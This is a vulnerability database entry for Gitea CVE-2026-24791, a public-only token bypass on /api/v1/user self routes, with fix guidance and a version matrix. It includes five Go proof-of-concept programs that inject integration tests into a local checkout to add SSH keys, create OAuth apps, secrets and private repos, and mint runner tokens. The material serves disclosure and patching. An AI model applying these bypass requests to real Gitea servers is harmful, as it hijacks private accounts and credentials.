Vulnerability Database

352,262

Total vulnerabilities in the database

CVE-2026-24791 — code.gitea.io/gitea

Incorrect Authorization

Summary

Many authenticated self routes under /api/v1/user/... do not enforce the public-only token restriction. As a result, a token or OAuth grant marked public-only, but otherwise carrying the route-required read/write scope category, can access or modify private account resources through self routes.

The canonical private-user endpoint correctly rejects the same tokens, for example GET /api/v1/users/{privateUser} returns 403. The bypass exists because the generic /api/v1/user route group requires user scope and reqToken(), but does not enforce the token's public-only restriction for most self routes.

This is a systemic token/OAuth scope-boundary bypass, not a single endpoint bug.

This appears related to the previously fixed public-only token issue tracked as CVE-2025-68941 / GHSA-xfq3-qj7j-4565, which affected Gitea < 1.22.3. The behavior described here reproduces on tested main checkout 6a2706626904. A representative SSH-key self-route PoC also reproduces on tested releases through v1.26.1. In other words, this should be treated as an incomplete fix / residual gap in a different route family, not as a duplicate of the older advisory.

Affected Code

The generic /api/v1/user group is mounted with user scope and reqToken():

  • routers/api/v1/api.go:1008-1128

tokenRequiresScopes() sets ctx.PublicOnly when the token contains public-only, but the public-only restriction is enforced only by routes that also call checkTokenPublicOnly():

  • routers/api/v1/api.go:241-294 implements checkTokenPublicOnly().
  • routers/api/v1/api.go:299-341 sets ctx.PublicOnly from the token scope.

Representative affected routes in that group:

  • /api/v1/user: private self profile and settings.
  • /api/v1/user/emails: read, add, and delete account email addresses.
  • /api/v1/user/keys: list and add SSH public keys.
  • /api/v1/user/applications/oauth2: list and create OAuth2 applications, including returned client secrets.
  • /api/v1/user/actions/secrets/{secretname}: create or delete user-level Actions secrets.
  • /api/v1/user/actions/variables: list, read, create, update, and delete user-level Actions variables.
  • /api/v1/user/actions/runners/...: list, update, delete runners, and mint registration tokens.
  • /api/v1/user/actions/runs and /api/v1/user/actions/jobs: list workflow metadata for private repositories.
  • /api/v1/user/repos: create private repositories and list private repositories.
  • /api/v1/user/subscriptions, /api/v1/user/times, /api/v1/user/stopwatches, /api/v1/user/teams, /api/v1/user/hooks: leak or modify private-account resources.

Correct public-only enforcement for comparison:

  • routers/api/v1/api.go:970-1008 applies context.UserAssignmentAPI() and checkTokenPublicOnly() to canonical /api/v1/users/{username} routes.
  • routers/api/v1/user/user.go:122-125 rejects public-only access to private users on /api/v1/users/{username}.
  • routers/api/v1/api.go:1091-1092 shows that /api/v1/user/repos requires the additional repository scope category, but still does not apply checkTokenPublicOnly().

Local PoCs

The following dynamic PoCs were retested on checkout 6a2706626904 and all reproduced successfully. Each PoC writes a temporary integration test, runs it, and removes it afterward.

cd pocs GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_self_user_private_profile_bypass_dynamic_poc.go GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_ssh_key_bypass_dynamic_poc.go GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_emails_bypass_dynamic_poc.go GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_oauth_app_bypass_dynamic_poc.go GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_repos_private_repo_bypass_dynamic_poc.go GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_secret_variable_bypass_dynamic_poc.go GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_runner_registration_bypass_dynamic_poc.go GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_runner_manage_bypass_dynamic_poc.go GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_webhook_bypass_dynamic_poc.go GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_runs_private_repo_bypass_dynamic_poc.go GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_actions_jobs_private_repo_bypass_dynamic_poc.go GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_subscriptions_private_repo_bypass_dynamic_poc.go GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_times_private_repo_bypass_dynamic_poc.go GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_stopwatches_private_repo_bypass_dynamic_poc.go GITEA_REPO=/path/to/gitea-checkout GOTOOLCHAIN=auto go run ./api_public_only_user_teams_private_org_bypass_dynamic_poc.go

Reproduced Impact Examples

Using private fixture user user31, public-only tokens are rejected by GET /api/v1/users/user31, but tokens with the route-required scopes can still reach the self routes below.

Confirmed with public-only,write:user:

  • add SSH keys through /api/v1/user/keys;
  • add account emails through /api/v1/user/emails;
  • create OAuth2 applications and receive client_secret through /api/v1/user/applications/oauth2;
  • create/delete user-level Actions secrets;
  • create/read/list/update/delete user-level Actions variables;
  • mint user-level runner registration tokens;
  • manage user-level runners;
  • create user webhooks.

Confirmed with public-only,read:user:

  • read private self profile/settings and account email surfaces;
  • list OAuth2 applications and user webhooks;
  • list private repository workflow runs/jobs exposed through self Actions routes;
  • list private subscriptions, tracked times, stopwatches, and team memberships.

Confirmed with public-only plus the route-required repository category:

  • create private repositories through POST /api/v1/user/repos with public-only,write:user,write:repository;
  • list those private repositories through GET /api/v1/user/repos with public-only,read:user,read:repository, while the canonical private repository endpoint remains forbidden.

Impact

The public-only token flag is intended to limit a token or OAuth grant to public resources. These routes violate that boundary for private accounts.

Practical abuse scenarios include:

  • a third-party app or leaked token with the route-required write scope, but restricted to public resources, adding SSH credentials or OAuth applications to a private account;
  • a public-resource-restricted token with the route-required write scope modifying Actions secrets/variables or registering/managing runners;
  • a token limited to public resources creating and enumerating private repositories;
  • a supposedly public-only integration learning private repository, workflow, team, timing, subscription, webhook, and email metadata.

Suggested Fix

Apply public-only enforcement consistently to self routes under /api/v1/user.

At minimum:

  • for self routes, treat ctx.Doer as the target user/resource owner when enforcing public-only; mechanically adding checkTokenPublicOnly() is not sufficient unless ctx.ContextUser is set to ctx.Doer or the check explicitly handles self routes;
  • reject ctx.PublicOnly on credential, identity, OAuth application, repository creation, webhook, Actions, runner, and email-management self-route mutations;
  • filter list routes so public-only tokens cannot return private repositories, private organization/team metadata, private workflow runs/jobs, private tracked time, private stopwatches, or hidden subscriptions;
  • add regression coverage that compares each affected /api/v1/user/... route against the canonical private-user or private-repository endpoint.

Non-public-only tokens should preserve current behavior.

Attachment: api_public_only_user_ssh_key_bypass_dynamic_poc.go

package main import ( "fmt" "os" "os/exec" "path/filepath" "strings" ) const testSource = `// PoC test for private security report. // SPDX-License-Identifier: MIT package integration import ( "net/http" "testing" asymkey_model "code.gitea.io/gitea/models/asymkey" auth_model "code.gitea.io/gitea/models/auth" "code.gitea.io/gitea/models/unittest" user_model "code.gitea.io/gitea/models/user" api "code.gitea.io/gitea/modules/structs" "code.gitea.io/gitea/tests" "github.com/stretchr/testify/require" ) func TestAPIPublicOnlyUserSSHKeyBypass(t *testing.T) { defer tests.PrepareTestEnv(t)() privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"}) require.True(t, privateUser.Visibility.IsPrivate()) session := loginUser(t, privateUser.Name) publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser) MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden) req := NewRequestWithJSON(t, "POST", "/api/v1/user/keys", api.CreateKeyOption{ Title: "public-only-private-key-bypass", Key: "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4cn+iXnA4KvcQYSV88vGn0Yi91vG47t1P7okprVmhNTkipNRIHWr6WdCO4VDr/cvsRkuVJAsLO2enwjGWWueOO6BodiBgyAOZ/5t5nJNMCNuLGT5UIo/RI1b0WRQwxEZTRjt6mFNw6lH14wRd8ulsr9toSWBPMOGWoYs1PDeDL0JuTjL+tr1SZi/EyxCngpYszKdXllJEHyI79KQgeD0Vt3pTrkbNVTOEcCNqZePSVmUH8X8Vhugz3bnE0/iE9Pb5fkWO9c4AnM1FgI/8Bvp27Fw2ShryIXuR6kKvUqhVMTuOSDHwu6A8jLE5Owt3GAYugDpDYuwTVNGrHLXKpPzrGGPE/jPmaLCMZcsdkec95dYeU3zKODEm8UQZFhmJmDeWVJ36nGrGZHL4J5aTTaeFUJmmXDaJYiJ+K2/ioKgXqnXvltu0A9R8/LGy4nrTJRr4JMLuJFoUXvGm1gXQ70w2LSpk6yl71RNC0hCtsBe8BP8IhYCM0EP5jh7eCMQZNvM= nocomment", }).AddTokenAuth(publicOnlyWriteUserToken) resp := MakeRequest(t, req, http.StatusCreated) key := DecodeJSON(t, resp, &api.PublicKey{}) require.Equal(t, "public-only-private-key-bypass", key.Title) unittest.AssertExistsAndLoadBean(t, &asymkey_model.PublicKey{ ID: key.ID, OwnerID: privateUser.ID, Name: "public-only-private-key-bypass", }) req = NewRequest(t, "GET", "/api/v1/user/keys").AddTokenAuth(publicOnlyWriteUserToken) resp = MakeRequest(t, req, http.StatusOK) keys := DecodeJSON(t, resp, []api.PublicKey{}) found := false for _, k := range keys { if k.ID == key.ID { found = true break } } require.True(t, found) } ` func repoPath() string { candidates := []string{} if repo := os.Getenv("GITEA_REPO"); repo != "" { candidates = append(candidates, repo) } candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea") for _, candidate := range candidates { if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/key.go")); err == nil { return filepath.Clean(candidate) } } fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", ")) os.Exit(2) return "" } func main() { repo := repoPath() testPath := filepath.Join(repo, "tests/integration/api_public_only_user_ssh_key_bypass_dynamic_poc_test.go") if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil { fmt.Fprintf(os.Stderr, "write temp test: %v\n", err) os.Exit(2) } defer func() { if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) { fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err) } }() cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserSSHKeyBypass", "code.gitea.io/gitea/tests/integration") cmd.Dir = repo cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto") out, err := cmd.CombinedOutput() fmt.Printf("source=%s\n", repo) fmt.Print(string(out)) if err != nil { fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err) os.Exit(1) } fmt.Println("reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint") fmt.Println("reproduced: the same public-only token with the route-required write:user scope can add an SSH public key to the private account through /api/v1/user/keys") fmt.Println("reproduced: the same token can list that newly added key through /api/v1/user/keys") fmt.Println("condition=private user issues a public-only,write:user token") fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N") }

Attachment: api_public_only_user_oauth_app_bypass_dynamic_poc.go

package main import ( "fmt" "os" "os/exec" "path/filepath" "strings" ) const testSource = `// PoC test for private security report. // SPDX-License-Identifier: MIT package integration import ( "net/http" "testing" auth_model "code.gitea.io/gitea/models/auth" "code.gitea.io/gitea/models/unittest" user_model "code.gitea.io/gitea/models/user" api "code.gitea.io/gitea/modules/structs" "code.gitea.io/gitea/tests" "github.com/stretchr/testify/require" ) func TestAPIPublicOnlyUserOAuthAppBypass(t *testing.T) { defer tests.PrepareTestEnv(t)() privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"}) require.True(t, privateUser.Visibility.IsPrivate()) session := loginUser(t, privateUser.Name) publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser) publicOnlyReadUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeReadUser) MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyReadUserToken), http.StatusForbidden) req := NewRequestWithJSON(t, "POST", "/api/v1/user/applications/oauth2", &api.CreateOAuth2ApplicationOptions{ Name: "public-only-private-oauth-app", RedirectURIs: []string{"https://example.com/callback"}, ConfidentialClient: true, }).AddTokenAuth(publicOnlyWriteUserToken) resp := MakeRequest(t, req, http.StatusCreated) app := DecodeJSON(t, resp, &api.OAuth2Application{}) require.Equal(t, "public-only-private-oauth-app", app.Name) require.NotEmpty(t, app.ClientID) require.NotEmpty(t, app.ClientSecret) req = NewRequest(t, "GET", "/api/v1/user/applications/oauth2").AddTokenAuth(publicOnlyReadUserToken) resp = MakeRequest(t, req, http.StatusOK) apps := DecodeJSON(t, resp, api.OAuth2ApplicationList{}) found := false for _, a := range apps { if a.ID == app.ID && a.Name == app.Name { found = true break } } require.True(t, found) } ` func repoPath() string { candidates := []string{} if repo := os.Getenv("GITEA_REPO"); repo != "" { candidates = append(candidates, repo) } candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea") for _, candidate := range candidates { if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/app.go")); err == nil { return filepath.Clean(candidate) } } fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", ")) os.Exit(2) return "" } func main() { repo := repoPath() testPath := filepath.Join(repo, "tests/integration/api_public_only_user_oauth_app_bypass_dynamic_poc_test.go") if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil { fmt.Fprintf(os.Stderr, "write temp test: %v\n", err) os.Exit(2) } defer func() { if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) { fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err) } }() cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserOAuthAppBypass", "code.gitea.io/gitea/tests/integration") cmd.Dir = repo cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto") out, err := cmd.CombinedOutput() fmt.Printf("source=%s\n", repo) fmt.Print(string(out)) if err != nil { fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err) os.Exit(1) } fmt.Println("reproduced: public-only user-scoped tokens are rejected on the canonical private /users/{username} endpoint") fmt.Println("reproduced: public-only,write:user can create an OAuth2 application for the private account and receives a client secret") fmt.Println("reproduced: public-only,read:user can list that OAuth2 application through /api/v1/user/applications/oauth2") fmt.Println("condition=private user issues public-only tokens with route-required user scopes") fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N") }

Attachment: api_public_only_user_repos_private_repo_bypass_dynamic_poc.go

package main import ( "fmt" "os" "os/exec" "path/filepath" "strings" ) const testSource = `// PoC test for private security report. // SPDX-License-Identifier: MIT package integration import ( "net/http" "testing" auth_model "code.gitea.io/gitea/models/auth" "code.gitea.io/gitea/models/unittest" user_model "code.gitea.io/gitea/models/user" api "code.gitea.io/gitea/modules/structs" "code.gitea.io/gitea/tests" "github.com/stretchr/testify/require" ) func TestAPIPublicOnlyUserReposBypass(t *testing.T) { defer tests.PrepareTestEnv(t)() privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"}) require.True(t, privateUser.Visibility.IsPrivate()) session := loginUser(t, privateUser.Name) publicOnlyReadRepoToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeReadUser, auth_model.AccessTokenScopeReadRepository, ) publicOnlyWriteRepoToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser, auth_model.AccessTokenScopeWriteRepository, ) req := NewRequestWithJSON(t, "POST", "/api/v1/user/repos", &api.CreateRepoOption{ Name: "public-only-private-repo", Private: true, }).AddTokenAuth(publicOnlyWriteRepoToken) resp := MakeRequest(t, req, http.StatusCreated) created := DecodeJSON(t, resp, &api.Repository{}) require.Equal(t, "user31/public-only-private-repo", created.FullName) require.True(t, created.Private) MakeRequest(t, NewRequest(t, "GET", "/api/v1/repos/user31/public-only-private-repo").AddTokenAuth(publicOnlyReadRepoToken), http.StatusForbidden) resp = MakeRequest(t, NewRequest(t, "GET", "/api/v1/user/repos").AddTokenAuth(publicOnlyReadRepoToken), http.StatusOK) repos := DecodeJSON(t, resp, []api.Repository{}) found := false for _, repo := range repos { if repo.FullName == "user31/public-only-private-repo" { found = true require.True(t, repo.Private) } } require.True(t, found) } ` func repoPath() string { candidates := []string{} if repo := os.Getenv("GITEA_REPO"); repo != "" { candidates = append(candidates, repo) } candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea") for _, candidate := range candidates { if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/repo.go")); err == nil { return filepath.Clean(candidate) } } fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", ")) os.Exit(2) return "" } func main() { repo := repoPath() testPath := filepath.Join(repo, "tests/integration/api_public_only_user_repos_private_repo_bypass_dynamic_poc_test.go") if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil { fmt.Fprintf(os.Stderr, "write temp test: %v\n", err) os.Exit(2) } defer func() { if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) { fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err) } }() cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserReposBypass", "code.gitea.io/gitea/tests/integration") cmd.Dir = repo cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto") out, err := cmd.CombinedOutput() fmt.Printf("source=%s\n", repo) fmt.Print(string(out)) if err != nil { fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err) os.Exit(1) } fmt.Println("reproduced: public-only,write:user,write:repository can create a private repository through /api/v1/user/repos") fmt.Println("reproduced: public-only,read:user,read:repository is still forbidden on the canonical repository endpoint for that repo") fmt.Println("reproduced: the same public-only token with the route-required read:user,read:repository scope can list the private repository through /api/v1/user/repos") fmt.Println("condition=private user issues public-only tokens with route-required user and repository scopes") fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N") }

Attachment: api_public_only_user_actions_secret_variable_bypass_dynamic_poc.go

package main import ( "fmt" "os" "os/exec" "path/filepath" "strings" ) const testSource = `// PoC test for private security report. // SPDX-License-Identifier: MIT package integration import ( "net/http" "testing" auth_model "code.gitea.io/gitea/models/auth" "code.gitea.io/gitea/models/unittest" user_model "code.gitea.io/gitea/models/user" api "code.gitea.io/gitea/modules/structs" "code.gitea.io/gitea/tests" "github.com/stretchr/testify/require" ) func TestAPIPublicOnlyUserActionsSecretVariableBypass(t *testing.T) { defer tests.PrepareTestEnv(t)() privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"}) require.True(t, privateUser.Visibility.IsPrivate()) session := loginUser(t, privateUser.Name) publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser) MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden) req := NewRequestWithJSON(t, "PUT", "/api/v1/user/actions/secrets/PRIVATE_SECRET", api.CreateOrUpdateSecretOption{ Data: "top-secret", }).AddTokenAuth(publicOnlyWriteUserToken) MakeRequest(t, req, http.StatusCreated) req = NewRequestWithJSON(t, "POST", "/api/v1/user/actions/variables/PRIVATE_VAR", api.CreateVariableOption{ Value: "private-value", Description: "scoped through public-only token", }).AddTokenAuth(publicOnlyWriteUserToken) MakeRequest(t, req, http.StatusCreated) req = NewRequest(t, "GET", "/api/v1/user/actions/variables/PRIVATE_VAR").AddTokenAuth(publicOnlyWriteUserToken) resp := MakeRequest(t, req, http.StatusOK) variable := DecodeJSON(t, resp, &api.ActionVariable{}) require.Equal(t, "PRIVATE_VAR", variable.Name) require.Equal(t, "private-value", variable.Data) req = NewRequest(t, "GET", "/api/v1/user/actions/variables").AddTokenAuth(publicOnlyWriteUserToken) resp = MakeRequest(t, req, http.StatusOK) variables := DecodeJSON(t, resp, []*api.ActionVariable{}) found := false for _, v := range variables { if v.Name == "PRIVATE_VAR" && v.Data == "private-value" { found = true break } } require.True(t, found) } ` func repoPath() string { candidates := []string{} if repo := os.Getenv("GITEA_REPO"); repo != "" { candidates = append(candidates, repo) } candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea") for _, candidate := range candidates { if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/action.go")); err == nil { return filepath.Clean(candidate) } } fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", ")) os.Exit(2) return "" } func main() { repo := repoPath() testPath := filepath.Join(repo, "tests/integration/api_public_only_user_actions_secret_variable_bypass_dynamic_poc_test.go") if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil { fmt.Fprintf(os.Stderr, "write temp test: %v\n", err) os.Exit(2) } defer func() { if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) { fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err) } }() cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserActionsSecretVariableBypass", "code.gitea.io/gitea/tests/integration") cmd.Dir = repo cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto") out, err := cmd.CombinedOutput() fmt.Printf("source=%s\n", repo) fmt.Print(string(out)) if err != nil { fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err) os.Exit(1) } fmt.Println("reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint") fmt.Println("reproduced: the same public-only token with the route-required write:user scope can create a user actions secret for the private account") fmt.Println("reproduced: the same public-only token with the route-required write:user scope can create, read, and list user actions variables") fmt.Println("condition=private user issues a public-only,write:user token") fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N") }

Attachment: api_public_only_user_runner_registration_bypass_dynamic_poc.go

package main import ( "fmt" "os" "os/exec" "path/filepath" "strings" ) const testSource = `// PoC test for private security report. // SPDX-License-Identifier: MIT package integration import ( "net/http" "testing" auth_model "code.gitea.io/gitea/models/auth" "code.gitea.io/gitea/models/unittest" user_model "code.gitea.io/gitea/models/user" "code.gitea.io/gitea/tests" "github.com/stretchr/testify/require" ) func TestAPIPublicOnlyUserRunnerRegistrationBypass(t *testing.T) { defer tests.PrepareTestEnv(t)() privateUser := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user31"}) require.True(t, privateUser.Visibility.IsPrivate()) session := loginUser(t, privateUser.Name) publicOnlyWriteUserToken := getTokenForLoggedInUser(t, session, auth_model.AccessTokenScopePublicOnly, auth_model.AccessTokenScopeWriteUser) MakeRequest(t, NewRequest(t, "GET", "/api/v1/users/user31").AddTokenAuth(publicOnlyWriteUserToken), http.StatusForbidden) resp := MakeRequest(t, NewRequest(t, "POST", "/api/v1/user/actions/runners/registration-token").AddTokenAuth(publicOnlyWriteUserToken), http.StatusOK) registrationToken := DecodeJSON(t, resp, &map[string]string{}) require.NotEmpty(t, (*registrationToken)["token"]) } ` func repoPath() string { candidates := []string{} if repo := os.Getenv("GITEA_REPO"); repo != "" { candidates = append(candidates, repo) } candidates = append(candidates, "../repo", "../../gitea/repo", "../../gitea") for _, candidate := range candidates { if _, err := os.Stat(filepath.Join(candidate, "routers/api/v1/user/runners.go")); err == nil { return filepath.Clean(candidate) } } fmt.Fprintf(os.Stderr, "could not locate Gitea checkout; tried: %s\n", strings.Join(candidates, ", ")) os.Exit(2) return "" } func main() { repo := repoPath() testPath := filepath.Join(repo, "tests/integration/api_public_only_user_runner_registration_bypass_dynamic_poc_test.go") if err := os.WriteFile(testPath, []byte(testSource), 0o644); err != nil { fmt.Fprintf(os.Stderr, "write temp test: %v\n", err) os.Exit(2) } defer func() { if err := os.Remove(testPath); err != nil && !os.IsNotExist(err) { fmt.Fprintf(os.Stderr, "warning: remove temp test: %v\n", err) } }() cmd := exec.Command("go", "test", "-timeout", "40m", "-run", "TestAPIPublicOnlyUserRunnerRegistrationBypass", "code.gitea.io/gitea/tests/integration") cmd.Dir = repo cmd.Env = append(os.Environ(), "SNAP=1", "SNAP_NAME=gitea-test", "GOTOOLCHAIN=auto") out, err := cmd.CombinedOutput() fmt.Printf("source=%s\n", repo) fmt.Print(string(out)) if err != nil { fmt.Fprintf(os.Stderr, "not reproduced: go test failed: %v\n", err) os.Exit(1) } fmt.Println("reproduced: public-only,write:user is rejected on the canonical private /users/{username} endpoint") fmt.Println("reproduced: the same public-only token with the route-required write:user scope can mint a user-level actions runner registration token") fmt.Println("condition=private user issues a public-only,write:user token") fmt.Println("cvss_candidate=CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N") }

Version validation

Validation date: 2026-05-13

The SSH-key write PoC was used as the representative dynamic test for the systemic /api/v1/user self-route public-only bypass.

| Version | Commit | Result | |---|---:|---| | main | 6a2706626904 | reproduced dynamically | | v1.26.1 | afdbd9b7c5 | reproduced dynamically | | v1.25.5 | f913d90ab6 | reproduced dynamically | | v1.24.7 | 99053ce4fa | reproduced dynamically | | v1.23.8 | cccd54999a | reproduced dynamically | | v1.22.6 | 8eefa1f6de | reproduced dynamically with Go 1.22.12 test toolchain |

The representative version-matrix PoC validates the same root cause across tested releases for the SSH-key self-route write surface. The additional lead/supporting PoCs above were retested on the main checkout listed in the Local PoCs section.

CVSS v3:

  • Severity: High
  • Score: 8.1
  • AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

CWEs:

Software From Fixed in
Go icon code.gitea.io/gitea 1.22.3 1.26.2

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.